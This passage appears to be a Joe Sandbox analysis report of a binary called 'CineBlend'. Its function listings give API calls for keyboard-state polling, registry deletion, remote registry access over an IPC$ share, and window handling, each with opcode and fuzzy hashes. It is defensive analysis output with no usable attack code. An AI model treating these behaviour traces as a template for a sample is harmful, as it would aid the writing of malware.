                                  • Associated: 00000024.00000002.2058970998.0000000000BF3000.00000002.00000001.01000000.00000011.sdmpDownload File
                                  • Associated: 00000024.00000002.2059205849.0000000000BFD000.00000004.00000001.01000000.00000011.sdmpDownload File
                                  • Associated: 00000024.00000002.2059231494.0000000000C05000.00000002.00000001.01000000.00000011.sdmpDownload File
                                  Joe Sandbox IDA Plugin
                                  • Snapshot File: hcaresult_36_2_b30000_CineBlend.jbxd
                                  Similarity
                                  • API ID: ItemMenu$Info$CheckCountCtrlFocusLongMessagePostProcRadioWindow
                                  • String ID: 0
                                  • API String ID: 1026556194-4108050209
                                  • Opcode ID: d5fbe17538b9b617fb90a67bf47a0c2fa5d8e96d067979c761c285aba42c44e5
                                  • Instruction ID: 82a6ddb2da016a9711057b090d9b200a9769e9c1b7773acf74aedee9f79c91ad
                                  • Opcode Fuzzy Hash: d5fbe17538b9b617fb90a67bf47a0c2fa5d8e96d067979c761c285aba42c44e5
                                  • Instruction Fuzzy Hash: 48818D715043019FEB10CF24D888FABBBE8FB89754F1409ADF995A7291DB70D905CBA2
                                  Function 00B9C8F7 Relevance: 19.4, APIs: 10, Strings: 1, Instructions: 190windowsleepCOMMON
                                  Download Yara Rule
                                  APIs
                                  • GetMenuItemInfoW.USER32(00C029C0,000000FF,00000000,00000030), ref: 00B9C973
                                  • SetMenuItemInfoW.USER32(00C029C0,00000004,00000000,00000030), ref: 00B9C9A8
                                  • Sleep.KERNEL32(000001F4), ref: 00B9C9BA
                                  • GetMenuItemCount.USER32(?), ref: 00B9CA00
                                  • GetMenuItemID.USER32(?,00000000), ref: 00B9CA1D
                                  • GetMenuItemID.USER32(?,-00000001), ref: 00B9CA49
                                  • GetMenuItemID.USER32(?,?), ref: 00B9CA90
                                  • CheckMenuRadioItem.USER32(?,00000000,?,00000000,00000400), ref: 00B9CAD6
                                  • GetMenuItemInfoW.USER32(?,000000FF,00000000,00000030), ref: 00B9CAEB
                                  • SetMenuItemInfoW.USER32(?,000000FF,00000000,00000030), ref: 00B9CB0C
                                  Strings
                                  Memory Dump Source
                                  • Source File: 00000024.00000002.2058880605.0000000000B31000.00000020.00000001.01000000.00000011.sdmp, Offset: 00B30000, based on PE: true
                                  • Associated: 00000024.00000002.2058844903.0000000000B30000.00000002.00000001.01000000.00000011.sdmpDownload File
                                  • Associated: 00000024.00000002.2058970998.0000000000BCD000.00000002.00000001.01000000.00000011.sdmpDownload File
                                  • Associated: 00000024.00000002.2058970998.0000000000BF3000.00000002.00000001.01000000.00000011.sdmpDownload File
                                  • Associated: 00000024.00000002.2059205849.0000000000BFD000.00000004.00000001.01000000.00000011.sdmpDownload File
                                  • Associated: 00000024.00000002.2059231494.0000000000C05000.00000002.00000001.01000000.00000011.sdmpDownload File
                                  Joe Sandbox IDA Plugin
                                  • Snapshot File: hcaresult_36_2_b30000_CineBlend.jbxd
                                  Similarity
                                  • API ID: ItemMenu$Info$CheckCountRadioSleep
                                  • String ID: 0
                                  • API String ID: 1460738036-4108050209
                                  • Opcode ID: 59e8b97543ea0f84cbc5921128f5db5ef4dae7b2b786a1e63ec55869fd632b39
                                  • Instruction ID: c60acef4524aacde1ea0f9996b618ddcc706cfbadfad3fb880cfc564c59319ad
                                  • Opcode Fuzzy Hash: 59e8b97543ea0f84cbc5921128f5db5ef4dae7b2b786a1e63ec55869fd632b39
                                  • Instruction Fuzzy Hash: B3616D70900259AFDF11CF64D989EEEBFE9FB09348F1440A5E951A3251DB34AD05CB61
                                  Function 00B9E4C2 Relevance: 19.4, APIs: 6, Strings: 5, Instructions: 178COMMON
                                  Download Yara Rule
                                  APIs
                                  • GetFileVersionInfoSizeW.VERSION(?,?), ref: 00B9E4D4
                                  • GetFileVersionInfoW.VERSION(?,00000000,00000000,00000000,?,?), ref: 00B9E4FA
                                  • _wcslen.LIBCMT ref: 00B9E504
                                  • _wcsstr.LIBVCRUNTIME ref: 00B9E554
                                  • VerQueryValueW.VERSION(?,\VarFileInfo\Translation,?,?,?,?,?,?,00000000,?,?), ref: 00B9E570
                                  Strings
                                  Memory Dump Source
                                  • Source File: 00000024.00000002.2058880605.0000000000B31000.00000020.00000001.01000000.00000011.sdmp, Offset: 00B30000, based on PE: true
                                  • Associated: 00000024.00000002.2058844903.0000000000B30000.00000002.00000001.01000000.00000011.sdmpDownload File
                                  • Associated: 00000024.00000002.2058970998.0000000000BCD000.00000002.00000001.01000000.00000011.sdmpDownload File
                                  • Associated: 00000024.00000002.2058970998.0000000000BF3000.00000002.00000001.01000000.00000011.sdmpDownload File
                                  • Associated: 00000024.00000002.2059205849.0000000000BFD000.00000004.00000001.01000000.00000011.sdmpDownload File
                                  • Associated: 00000024.00000002.2059231494.0000000000C05000.00000002.00000001.01000000.00000011.sdmpDownload File
                                  Joe Sandbox IDA Plugin
                                  • Snapshot File: hcaresult_36_2_b30000_CineBlend.jbxd
                                  Similarity
                                  • API ID: FileInfoVersion$QuerySizeValue_wcslen_wcsstr
                                  • String ID: %u.%u.%u.%u$04090000$DefaultLangCodepage$StringFileInfo\$\VarFileInfo\Translation
                                  • API String ID: 1939486746-1459072770
                                  • Opcode ID: d839fc06348b522fd67253e796f4103b5b077986e63071e01f6120864e9f731c
                                  • Instruction ID: 8d7349a8dba8e1ef25cd0e76eb50a1a2a11f1c956eb60c4905c7e227de385926
                                  • Opcode Fuzzy Hash: d839fc06348b522fd67253e796f4103b5b077986e63071e01f6120864e9f731c
                                  • Instruction Fuzzy Hash: D6410172644208BAEB00AB648C47FBF77ECDF65712F1000EAFD00A6092EF74DA05D2A5
                                  Function 00BBD694 Relevance: 19.4, APIs: 9, Strings: 2, Instructions: 104registryCOMMON
                                  Download Yara Rule
                                  APIs
                                  • RegEnumKeyExW.ADVAPI32(?,00000000,?,000000FF,00000000,00000000,00000000,?,?,?,00000000), ref: 00BBD6C4
                                  • RegOpenKeyExW.ADVAPI32(?,?,00000000,?,?,?,?,00000000), ref: 00BBD6ED
                                  • FreeLibrary.KERNEL32(00000000,?,?,00000000), ref: 00BBD7A8
                                    • Part of subcall function 00BBD694: RegCloseKey.ADVAPI32(?,?,?,00000000), ref: 00BBD70A
                                    • Part of subcall function 00BBD694: LoadLibraryA.KERNEL32(advapi32.dll,?,?,00000000), ref: 00BBD71D
                                    • Part of subcall function 00BBD694: GetProcAddress.KERNEL32(00000000,RegDeleteKeyExW), ref: 00BBD72F
                                    • Part of subcall function 00BBD694: FreeLibrary.KERNEL32(00000000,?,?,00000000), ref: 00BBD765
                                    • Part of subcall function 00BBD694: RegEnumKeyExW.ADVAPI32(?,00000000,?,000000FF,00000000,00000000,00000000,?,?,?,00000000), ref: 00BBD788
                                  • RegDeleteKeyW.ADVAPI32(?,?), ref: 00BBD753
                                  Strings
                                  Memory Dump Source
                                  • Source File: 00000024.00000002.2058880605.0000000000B31000.00000020.00000001.01000000.00000011.sdmp, Offset: 00B30000, based on PE: true
                                  • Associated: 00000024.00000002.2058844903.0000000000B30000.00000002.00000001.01000000.00000011.sdmpDownload File
                                  • Associated: 00000024.00000002.2058970998.0000000000BCD000.00000002.00000001.01000000.00000011.sdmpDownload File
                                  • Associated: 00000024.00000002.2058970998.0000000000BF3000.00000002.00000001.01000000.00000011.sdmpDownload File
                                  • Associated: 00000024.00000002.2059205849.0000000000BFD000.00000004.00000001.01000000.00000011.sdmpDownload File
                                  • Associated: 00000024.00000002.2059231494.0000000000C05000.00000002.00000001.01000000.00000011.sdmpDownload File
                                  Joe Sandbox IDA Plugin
                                  • Snapshot File: hcaresult_36_2_b30000_CineBlend.jbxd
                                  Similarity
                                  • API ID: Library$EnumFree$AddressCloseDeleteLoadOpenProc
                                  • String ID: RegDeleteKeyExW$advapi32.dll
                                  • API String ID: 2734957052-4033151799
                                  • Opcode ID: 05c25763a8e73b4bce1ebca7692f002120031cf869f699404da5b3a429a1e118
                                  • Instruction ID: dbdb300bcea88219563b1d05bfc0bcdee43afce7a1102c3c8a6a4d89bc4b1380
                                  • Opcode Fuzzy Hash: 05c25763a8e73b4bce1ebca7692f002120031cf869f699404da5b3a429a1e118
                                  • Instruction Fuzzy Hash: DF316F75A01129BBDB219B91DC88EFFBBBCEF45750F0001A5B905E3150EF789E45DAA0
                                  Function 00B9EFC7 Relevance: 19.3, APIs: 10, Strings: 1, Instructions: 72sleepwindowtimeCOMMON
                                  Download Yara Rule
                                  APIs
                                  • timeGetTime.WINMM ref: 00B9EFCB
                                    • Part of subcall function 00B4F215: timeGetTime.WINMM(?,?,00B9EFEB), ref: 00B4F219
                                  • Sleep.KERNEL32(0000000A), ref: 00B9EFF8
                                  • EnumThreadWindows.USER32(?,Function_0006EF7C,00000000), ref: 00B9F01C
                                  • FindWindowExW.USER32(00000000,00000000,BUTTON,00000000), ref: 00B9F03E
                                  • SetActiveWindow.USER32 ref: 00B9F05D
                                  • SendMessageW.USER32(00000000,000000F5,00000000,00000000), ref: 00B9F06B
                                  • SendMessageW.USER32(00000010,00000000,00000000), ref: 00B9F08A
                                  • Sleep.KERNEL32(000000FA), ref: 00B9F095
                                  • IsWindow.USER32 ref: 00B9F0A1
                                  • EndDialog.USER32(00000000), ref: 00B9F0B2
                                  Strings
                                  Memory Dump Source
                                  • Source File: 00000024.00000002.2058880605.0000000000B31000.00000020.00000001.01000000.00000011.sdmp, Offset: 00B30000, based on PE: true
                                  • Associated: 00000024.00000002.2058844903.0000000000B30000.00000002.00000001.01000000.00000011.sdmpDownload File
                                  • Associated: 00000024.00000002.2058970998.0000000000BCD000.00000002.00000001.01000000.00000011.sdmpDownload File
                                  • Associated: 00000024.00000002.2058970998.0000000000BF3000.00000002.00000001.01000000.00000011.sdmpDownload File
                                  • Associated: 00000024.00000002.2059205849.0000000000BFD000.00000004.00000001.01000000.00000011.sdmpDownload File
                                  • Associated: 00000024.00000002.2059231494.0000000000C05000.00000002.00000001.01000000.00000011.sdmpDownload File
                                  Joe Sandbox IDA Plugin
                                  • Snapshot File: hcaresult_36_2_b30000_CineBlend.jbxd
                                  Similarity
                                  • API ID: Window$MessageSendSleepTimetime$ActiveDialogEnumFindThreadWindows
                                  • String ID: BUTTON
                                  • API String ID: 1194449130-3405671355
                                  • Opcode ID: f3e034e9aab28b6106e6c144ca0e3814fc89e604050b8513405bda022ffb3159
                                  • Instruction ID: df8a304223bb8cb54772500258196d2e8295e0bb5fcb8b9f2524630eed8c3ae8
                                  • Opcode Fuzzy Hash: f3e034e9aab28b6106e6c144ca0e3814fc89e604050b8513405bda022ffb3159
                                  • Instruction Fuzzy Hash: 1D217979200246BFEB106F30AC89F3ABBAEFB49755B050076F60593272CF728C00DA21
                                  Function 00B9F313 Relevance: 19.3, APIs: 5, Strings: 6, Instructions: 71COMMON
                                  Download Yara Rule
                                  APIs
                                    • Part of subcall function 00B3B329: _wcslen.LIBCMT ref: 00B3B333
                                  • mciSendStringW.WINMM(status PlayMe mode,?,00000100,00000000), ref: 00B9F374
                                  • mciSendStringW.WINMM(close PlayMe,00000000,00000000,00000000), ref: 00B9F38A
                                  • mciSendStringW.WINMM(?,00000000,00000000,00000000), ref: 00B9F39B
                                  • mciSendStringW.WINMM(play PlayMe wait,00000000,00000000,00000000), ref: 00B9F3AD
                                  • mciSendStringW.WINMM(play PlayMe,00000000,00000000,00000000), ref: 00B9F3BE
                                  Strings
                                  Memory Dump Source
                                  • Source File: 00000024.00000002.2058880605.0000000000B31000.00000020.00000001.01000000.00000011.sdmp, Offset: 00B30000, based on PE: true
                                  • Associated: 00000024.00000002.2058844903.0000000000B30000.00000002.00000001.01000000.00000011.sdmpDownload File
                                  • Associated: 00000024.00000002.2058970998.0000000000BCD000.00000002.00000001.01000000.00000011.sdmpDownload File
                                  • Associated: 00000024.00000002.2058970998.0000000000BF3000.00000002.00000001.01000000.00000011.sdmpDownload File
                                  • Associated: 00000024.00000002.2059205849.0000000000BFD000.00000004.00000001.01000000.00000011.sdmpDownload File
                                  • Associated: 00000024.00000002.2059231494.0000000000C05000.00000002.00000001.01000000.00000011.sdmpDownload File
                                  Joe Sandbox IDA Plugin
                                  • Snapshot File: hcaresult_36_2_b30000_CineBlend.jbxd
                                  Similarity
                                  • API ID: SendString$_wcslen
                                  • String ID: alias PlayMe$close PlayMe$open $play PlayMe$play PlayMe wait$status PlayMe mode
                                  • API String ID: 2420728520-1007645807
                                  • Opcode ID: 25679cfbffb15eb7618a5c95eb172c7fbd817bec3146f9f0dec3a023b2eaf6f3
                                  • Instruction ID: cd0e04cae845aa03b425079c1f250c02438ef6db19be5b4de7a17fcc5c576999
                                  • Opcode Fuzzy Hash: 25679cfbffb15eb7618a5c95eb172c7fbd817bec3146f9f0dec3a023b2eaf6f3
                                  • Instruction Fuzzy Hash: 00119131A9415D79DB20A775DC4AEFF7AFCEB92B50F5044FA7901E30E0EEA05908C5A0
                                  Function 00B9A958 Relevance: 18.2, APIs: 12, Instructions: 188keyboardCOMMON
                                  Download Yara Rule
                                  APIs
                                  • GetKeyboardState.USER32(?), ref: 00B9A9D9
                                  • SetKeyboardState.USER32(?), ref: 00B9AA44
                                  • GetAsyncKeyState.USER32(000000A0), ref: 00B9AA64
                                  • GetKeyState.USER32(000000A0), ref: 00B9AA7B
                                  • GetAsyncKeyState.USER32(000000A1), ref: 00B9AAAA
                                  • GetKeyState.USER32(000000A1), ref: 00B9AABB
                                  • GetAsyncKeyState.USER32(00000011), ref: 00B9AAE7
                                  • GetKeyState.USER32(00000011), ref: 00B9AAF5
                                  • GetAsyncKeyState.USER32(00000012), ref: 00B9AB1E
                                  • GetKeyState.USER32(00000012), ref: 00B9AB2C
                                  • GetAsyncKeyState.USER32(0000005B), ref: 00B9AB55
                                  • GetKeyState.USER32(0000005B), ref: 00B9AB63
                                  Memory Dump Source
                                  • Source File: 00000024.00000002.2058880605.0000000000B31000.00000020.00000001.01000000.00000011.sdmp, Offset: 00B30000, based on PE: true
                                  • Associated: 00000024.00000002.2058844903.0000000000B30000.00000002.00000001.01000000.00000011.sdmpDownload File
                                  • Associated: 00000024.00000002.2058970998.0000000000BCD000.00000002.00000001.01000000.00000011.sdmpDownload File
                                  • Associated: 00000024.00000002.2058970998.0000000000BF3000.00000002.00000001.01000000.00000011.sdmpDownload File
                                  • Associated: 00000024.00000002.2059205849.0000000000BFD000.00000004.00000001.01000000.00000011.sdmpDownload File
                                  • Associated: 00000024.00000002.2059231494.0000000000C05000.00000002.00000001.01000000.00000011.sdmpDownload File
                                  Joe Sandbox IDA Plugin
                                  • Snapshot File: hcaresult_36_2_b30000_CineBlend.jbxd
                                  Similarity
                                  • API ID: State$Async$Keyboard
                                  • String ID:
                                  • API String ID: 541375521-0
                                  • Opcode ID: ca71669549ce072149efc0e307eb2bf5d64f2db4c12065d0bd4c9b740df1815a
                                  • Instruction ID: b3827bf969c181af8516c743c3b8fa19771e988b736ce74bd10d1f9082eb86a3
                                  • Opcode Fuzzy Hash: ca71669549ce072149efc0e307eb2bf5d64f2db4c12065d0bd4c9b740df1815a
                                  • Instruction Fuzzy Hash: 2D51D520A047882AFF35D7648950BAABFF5DF11340F0945F9D5C25B1C2DA649B4CC7A3
                                  Function 00B9662D Relevance: 18.2, APIs: 12, Instructions: 173COMMON
                                  Download Yara Rule
                                  APIs
                                  • GetDlgItem.USER32(?,00000001), ref: 00B96649
                                  • GetWindowRect.USER32(00000000,?), ref: 00B96662
                                  • MoveWindow.USER32(?,0000000A,00000004,?,?,00000004,00000000), ref: 00B966C0
                                  • GetDlgItem.USER32(?,00000002), ref: 00B966D0
                                  • GetWindowRect.USER32(00000000,?), ref: 00B966E2
                                  • MoveWindow.USER32(?,?,00000004,00000000,?,00000004,00000000), ref: 00B96736
                                  • GetDlgItem.USER32(?,000003E9), ref: 00B96744
                                  • GetWindowRect.USER32(00000000,?), ref: 00B96756
                                  • MoveWindow.USER32(?,0000000A,00000000,?,00000004,00000000), ref: 00B96798
                                  • GetDlgItem.USER32(?,000003EA), ref: 00B967AB
                                  • MoveWindow.USER32(00000000,0000000A,0000000A,?,-00000005,00000000), ref: 00B967C1
                                  • InvalidateRect.USER32(?,00000000,00000001), ref: 00B967CE
                                  Memory Dump Source
                                  • Source File: 00000024.00000002.2058880605.0000000000B31000.00000020.00000001.01000000.00000011.sdmp, Offset: 00B30000, based on PE: true
                                  • Associated: 00000024.00000002.2058844903.0000000000B30000.00000002.00000001.01000000.00000011.sdmpDownload File
                                  • Associated: 00000024.00000002.2058970998.0000000000BCD000.00000002.00000001.01000000.00000011.sdmpDownload File
                                  • Associated: 00000024.00000002.2058970998.0000000000BF3000.00000002.00000001.01000000.00000011.sdmpDownload File
                                  • Associated: 00000024.00000002.2059205849.0000000000BFD000.00000004.00000001.01000000.00000011.sdmpDownload File
                                  • Associated: 00000024.00000002.2059231494.0000000000C05000.00000002.00000001.01000000.00000011.sdmpDownload File
                                  Joe Sandbox IDA Plugin
                                  • Snapshot File: hcaresult_36_2_b30000_CineBlend.jbxd
                                  Similarity
                                  • API ID: Window$ItemMoveRect$Invalidate
                                  • String ID:
                                  • API String ID: 3096461208-0
                                  • Opcode ID: 6d1c6c0cc28f86bbd144ffe6c163383124383627734b855253e4bd0b1385b650
                                  • Instruction ID: 0f6d2bb860739df01885d5d063d776ddcc495401589cc3287be8f2570433ac4d
                                  • Opcode Fuzzy Hash: 6d1c6c0cc28f86bbd144ffe6c163383124383627734b855253e4bd0b1385b650
                                  • Instruction Fuzzy Hash: 3F511F75A00205AFDF18CFA8DD85AAEBBB5FB48315F108179F919E7290DB74AD04CB60
                                  Function 00B3146D Relevance: 18.2, APIs: 12, Instructions: 168timeCOMMON
                                  Download Yara Rule
                                  APIs
                                    • Part of subcall function 00B31802: InvalidateRect.USER32(?,00000000,00000001,?,?,?,00B31488,?,00000000,?,?,?,?,00B3145A,00000000,?), ref: 00B31865
                                  • DestroyWindow.USER32(?), ref: 00B31521
                                  • KillTimer.USER32(00000000,?,?,?,?,00B3145A,00000000,?), ref: 00B315BB
                                  • DestroyAcceleratorTable.USER32(00000000), ref: 00B729B4
                                  • ImageList_Destroy.COMCTL32(00000000,?,?,?,?,?,?,00000000,?,?,?,?,00B3145A,00000000,?), ref: 00B729E2
                                  • ImageList_Destroy.COMCTL32(?,?,?,?,?,?,?,00000000,?,?,?,?,00B3145A,00000000,?), ref: 00B729F9
                                  • ImageList_Destroy.COMCTL32(00000000,?,?,?,?,?,?,?,?,00000000,?,?,?,?,00B3145A,00000000), ref: 00B72A15
                                  • DeleteObject.GDI32(00000000), ref: 00B72A27
                                  Memory Dump Source
                                  • Source File: 00000024.00000002.2058880605.0000000000B31000.00000020.00000001.01000000.00000011.sdmp, Offset: 00B30000, based on PE: true
                                  • Associated: 00000024.00000002.2058844903.0000000000B30000.00000002.00000001.01000000.00000011.sdmpDownload File
                                  • Associated: 00000024.00000002.2058970998.0000000000BCD000.00000002.00000001.01000000.00000011.sdmpDownload File
                                  • Associated: 00000024.00000002.2058970998.0000000000BF3000.00000002.00000001.01000000.00000011.sdmpDownload File
                                  • Associated: 00000024.00000002.2059205849.0000000000BFD000.00000004.00000001.01000000.00000011.sdmpDownload File
                                  • Associated: 00000024.00000002.2059231494.0000000000C05000.00000002.00000001.01000000.00000011.sdmpDownload File
                                  Joe Sandbox IDA Plugin
                                  • Snapshot File: hcaresult_36_2_b30000_CineBlend.jbxd
                                  Similarity
                                  • API ID: Destroy$ImageList_$AcceleratorDeleteInvalidateKillObjectRectTableTimerWindow
                                  • String ID:
                                  • API String ID: 641708696-0
                                  • Opcode ID: 7cfde60f976b9afe7617939ebd157d80de551eec5a14b32019ba53fac8e78475
                                  • Instruction ID: ecfe8bfb2d2b138c37e93ff47dec4ac6565dc04ace65feb663192d3b12f46848
                                  • Opcode Fuzzy Hash: 7cfde60f976b9afe7617939ebd157d80de551eec5a14b32019ba53fac8e78475
                                  • Instruction Fuzzy Hash: 61617835501701DFDB399F18D988B2AB7F9FB94322F2188A9E04797660CB70AC90CF80
                                  Function 00B32128 Relevance: 18.1, APIs: 12, Instructions: 137COMMON
                                  Download Yara Rule
                                  APIs
                                    • Part of subcall function 00B32234: GetWindowLongW.USER32(?,000000EB), ref: 00B32242
                                  • GetSysColor.USER32(0000000F), ref: 00B32152
                                  Memory Dump Source
                                  • Source File: 00000024.00000002.2058880605.0000000000B31000.00000020.00000001.01000000.00000011.sdmp, Offset: 00B30000, based on PE: true
                                  • Associated: 00000024.00000002.2058844903.0000000000B30000.00000002.00000001.01000000.00000011.sdmpDownload File
                                  • Associated: 00000024.00000002.2058970998.0000000000BCD000.00000002.00000001.01000000.00000011.sdmpDownload File
                                  • Associated: 00000024.00000002.2058970998.0000000000BF3000.00000002.00000001.01000000.00000011.sdmpDownload File
                                  • Associated: 00000024.00000002.2059205849.0000000000BFD000.00000004.00000001.01000000.00000011.sdmpDownload File
                                  • Associated: 00000024.00000002.2059231494.0000000000C05000.00000002.00000001.01000000.00000011.sdmpDownload File
                                  Joe Sandbox IDA Plugin
                                  • Snapshot File: hcaresult_36_2_b30000_CineBlend.jbxd
                                  Similarity
                                  • API ID: ColorLongWindow
                                  • String ID:
                                  • API String ID: 259745315-0
                                  • Opcode ID: 53cc84adfca737c7a5810ce4a4e303be56423d29e1b81f366586ce0ad10f372e
                                  • Instruction ID: 8f49326697accceaef30eb80a1a723bee71d836de928e07fd6342b0df34de0fc
                                  • Opcode Fuzzy Hash: 53cc84adfca737c7a5810ce4a4e303be56423d29e1b81f366586ce0ad10f372e
                                  • Instruction Fuzzy Hash: 98419435100A40AFDB205F38DC84FB937E5EB56B21F254295FAB6A72E1CB319D42EB11
                                  Function 00B9A05C Relevance: 17.6, APIs: 5, Strings: 5, Instructions: 137windowCOMMON
                                  Download Yara Rule
                                  APIs
                                  • GetModuleHandleW.KERNEL32(00000000,?,00000FFF,00000000,00000001,00000001,?,00B80D31,00000001,0000138C,00000001,00000001,00000001,?,00BAEEAE,00C02430), ref: 00B9A091
                                  • LoadStringW.USER32(00000000,?,00B80D31,00000001), ref: 00B9A09A
                                    • Part of subcall function 00B3B329: _wcslen.LIBCMT ref: 00B3B333
                                  • GetModuleHandleW.KERNEL32(00000000,00000001,?,00000FFF,?,?,00B80D31,00000001,0000138C,00000001,00000001,00000001,?,00BAEEAE,00C02430,?), ref: 00B9A0BC
                                  • LoadStringW.USER32(00000000,?,00B80D31,00000001), ref: 00B9A0BF
                                  • MessageBoxW.USER32(00000000,?,?,00011010), ref: 00B9A1E0
                                  Strings
                                  Memory Dump Source
                                  • Source File: 00000024.00000002.2058880605.0000000000B31000.00000020.00000001.01000000.00000011.sdmp, Offset: 00B30000, based on PE: true
                                  • Associated: 00000024.00000002.2058844903.0000000000B30000.00000002.00000001.01000000.00000011.sdmpDownload File
                                  • Associated: 00000024.00000002.2058970998.0000000000BCD000.00000002.00000001.01000000.00000011.sdmpDownload File
                                  • Associated: 00000024.00000002.2058970998.0000000000BF3000.00000002.00000001.01000000.00000011.sdmpDownload File
                                  • Associated: 00000024.00000002.2059205849.0000000000BFD000.00000004.00000001.01000000.00000011.sdmpDownload File
                                  • Associated: 00000024.00000002.2059231494.0000000000C05000.00000002.00000001.01000000.00000011.sdmpDownload File
                                  Joe Sandbox IDA Plugin
                                  • Snapshot File: hcaresult_36_2_b30000_CineBlend.jbxd
                                  Similarity
                                  • API ID: HandleLoadModuleString$Message_wcslen
                                  • String ID: Error: $%s (%d) : ==> %s: %s %s$Line %d (File "%s"):$Line %d:$^ ERROR
                                  • API String ID: 747408836-2268648507
                                  • Opcode ID: ad2d441e0a22509e1d625ff9b9c1a67314f91c21e70dcd480bd1204edac3cb61
                                  • Instruction ID: 5fd4067136c0eda3277949375c2d782bdbab85cc6f21bb8a76a9f31db3eeb757
                                  • Opcode Fuzzy Hash: ad2d441e0a22509e1d625ff9b9c1a67314f91c21e70dcd480bd1204edac3cb61
                                  • Instruction Fuzzy Hash: 26413372840119AACF05EBE0DD86DEEB7B8AF14340F6040E5B601B6092EF755F49CBA1
                                  Function 00B90FCF Relevance: 17.6, APIs: 7, Strings: 3, Instructions: 127registryshareCOMMON
                                  Download Yara Rule
                                  APIs
                                    • Part of subcall function 00B38577: _wcslen.LIBCMT ref: 00B3858A
                                  • WNetAddConnection2W.MPR(?,?,?,00000000), ref: 00B91093
                                  • RegConnectRegistryW.ADVAPI32(?,80000002,?), ref: 00B910AF
                                  • RegOpenKeyExW.ADVAPI32(?,?,00000000,00020019,?,?,SOFTWARE\Classes\), ref: 00B910CB
                                  • RegQueryValueExW.ADVAPI32(?,00000000,00000000,00000000,?,?,?,SOFTWARE\Classes\), ref: 00B910F5
                                  • CLSIDFromString.OLE32(?,000001FE,?,SOFTWARE\Classes\), ref: 00B9111D
                                  • RegCloseKey.ADVAPI32(?,?,SOFTWARE\Classes\), ref: 00B91128
                                  • RegCloseKey.ADVAPI32(?,?,SOFTWARE\Classes\), ref: 00B9112D
                                  Strings
                                  Memory Dump Source
                                  • Source File: 00000024.00000002.2058880605.0000000000B31000.00000020.00000001.01000000.00000011.sdmp, Offset: 00B30000, based on PE: true
                                  • Associated: 00000024.00000002.2058844903.0000000000B30000.00000002.00000001.01000000.00000011.sdmpDownload File
                                  • Associated: 00000024.00000002.2058970998.0000000000BCD000.00000002.00000001.01000000.00000011.sdmpDownload File
                                  • Associated: 00000024.00000002.2058970998.0000000000BF3000.00000002.00000001.01000000.00000011.sdmpDownload File
                                  • Associated: 00000024.00000002.2059205849.0000000000BFD000.00000004.00000001.01000000.00000011.sdmpDownload File
                                  • Associated: 00000024.00000002.2059231494.0000000000C05000.00000002.00000001.01000000.00000011.sdmpDownload File
                                  Joe Sandbox IDA Plugin
                                  • Snapshot File: hcaresult_36_2_b30000_CineBlend.jbxd
                                  Similarity
                                  • API ID: Close$ConnectConnection2FromOpenQueryRegistryStringValue_wcslen
                                  • String ID: SOFTWARE\Classes\$\CLSID$\IPC$
                                  • API String ID: 323675364-22481851
                                  • Opcode ID: 994adfbba826fca1eea9ed43ab14a48c0b79e351948fbdf23624ae38eac076d1
                                  • Instruction ID: 4b99fac1840c9d8470eed9327df29a35cdbf2636ad5c7e0a67553e92fc67a262
                                  • Opcode Fuzzy Hash: 994adfbba826fca1eea9ed43ab14a48c0b79e351948fbdf23624ae38eac076d1
                                  • Instruction Fuzzy Hash: 26410776C1022DABCF15EBA4DC95DEEB7B8FF08740F1084A9EA01A3160EB719E04CB50
                                  Function 00BC4A34 Relevance: 17.6, APIs: 9, Strings: 1, Instructions: 101windowCOMMON
                                  Download Yara Rule
                                  APIs
                                  • MoveWindow.USER32(?,?,?,000000FF,000000FF,00000000,?,?,000000FF,000000FF,?,?,static,00000000,00000000,?), ref: 00BC4AD9
                                  • CreateCompatibleDC.GDI32(00000000), ref: 00BC4AE0
                                  • SendMessageW.USER32(?,00000173,00000000,00000000), ref: 00BC4AF3
                                  • SelectObject.GDI32(00000000,00000000), ref: 00BC4AFB
                                  • GetPixel.GDI32(00000000,00000000,00000000), ref: 00BC4B06
                                  • DeleteDC.GDI32(00000000), ref: 00BC4B10
                                  • GetWindowLongW.USER32(?,000000EC), ref: 00BC4B1A
                                  • SetLayeredWindowAttributes.USER32(?,?,00000000,00000001,?,00000000,?), ref: 00BC4B30
                                  • DestroyWindow.USER32(?,?,?,000000FF,000000FF,?,?,static,00000000,00000000,?,?,00000000,00000000,?), ref: 00BC4B3C
                                  Strings
                                  Memory Dump Source
                                  • Source File: 00000024.00000002.2058880605.0000000000B31000.00000020.00000001.01000000.00000011.sdmp, Offset: 00B30000, based on PE: true
                                  • Associated: 00000024.00000002.2058844903.0000000000B30000.00000002.00000001.01000000.00000011.sdmpDownload File
                                  • Associated: 00000024.00000002.2058970998.0000000000BCD000.00000002.00000001.01000000.00000011.sdmpDownload File
                                  • Associated: 00000024.00000002.2058970998.0000000000BF3000.00000002.00000001.01000000.00000011.sdmpDownload File
                                  • Associated: 00000024.00000002.2059205849.0000000000BFD000.00000004.00000001.01000000.00000011.sdmpDownload File
                                  • Associated: 00000024.00000002.2059231494.0000000000C05000.00000002.00000001.01000000.00000011.sdmpDownload File
                                  Joe Sandbox IDA Plugin
                                  • Snapshot File: hcaresult_36_2_b30000_CineBlend.jbxd
                                  Similarity
                                  • API ID: Window$AttributesCompatibleCreateDeleteDestroyLayeredLongMessageMoveObjectPixelSelectSend
                                  • String ID: static
                                  • API String ID: 2559357485-2160076837
                                  • Opcode ID: 4acd6c93c12caa391e5367dc8f6591dc3b985865585d80e70101a1c3c089a68e
                                  • Instruction ID: f8e1e206fc8c48b81738d24000ce302015dea8ddcdb1ef4023ad9dd50f5f3d2a
                                  • Opcode Fuzzy Hash: 4acd6c93c12caa391e5367dc8f6591dc3b985865585d80e70101a1c3c089a68e
                                  • Instruction Fuzzy Hash: 2E316C36140215BBDF219FA4DC08FDA3BA9FF0D324F110269FA15A61A0CB75DD60DBA4
                                  Function 00BB468D Relevance: 16.8, APIs: 11, Instructions: 344fileCOMMON
                                  Download Yara Rule
                                  APIs
                                  • VariantInit.OLEAUT32(?), ref: 00BB46B9
                                  • CoInitialize.OLE32(00000000), ref: 00BB46E7
                                  • CoUninitialize.OLE32 ref: 00BB46F1
                                  • _wcslen.LIBCMT ref: 00BB478A
                                  • GetRunningObjectTable.OLE32(00000000,?), ref: 00BB480E
                                  • SetErrorMode.KERNEL32(00000001,00000029), ref: 00BB4932
                                  • CoGetInstanceFromFile.OLE32(00000000,?,00000000,00000015,00000002,?,00000001,?), ref: 00BB496B
                                  • CoGetObject.OLE32(?,00000000,00BD0B64,?), ref: 00BB498A
                                  • SetErrorMode.KERNEL32(00000000), ref: 00BB499D
                                  • SetErrorMode.KERNEL32(00000000,00000000,00000000,00000000,00000000), ref: 00BB4A21
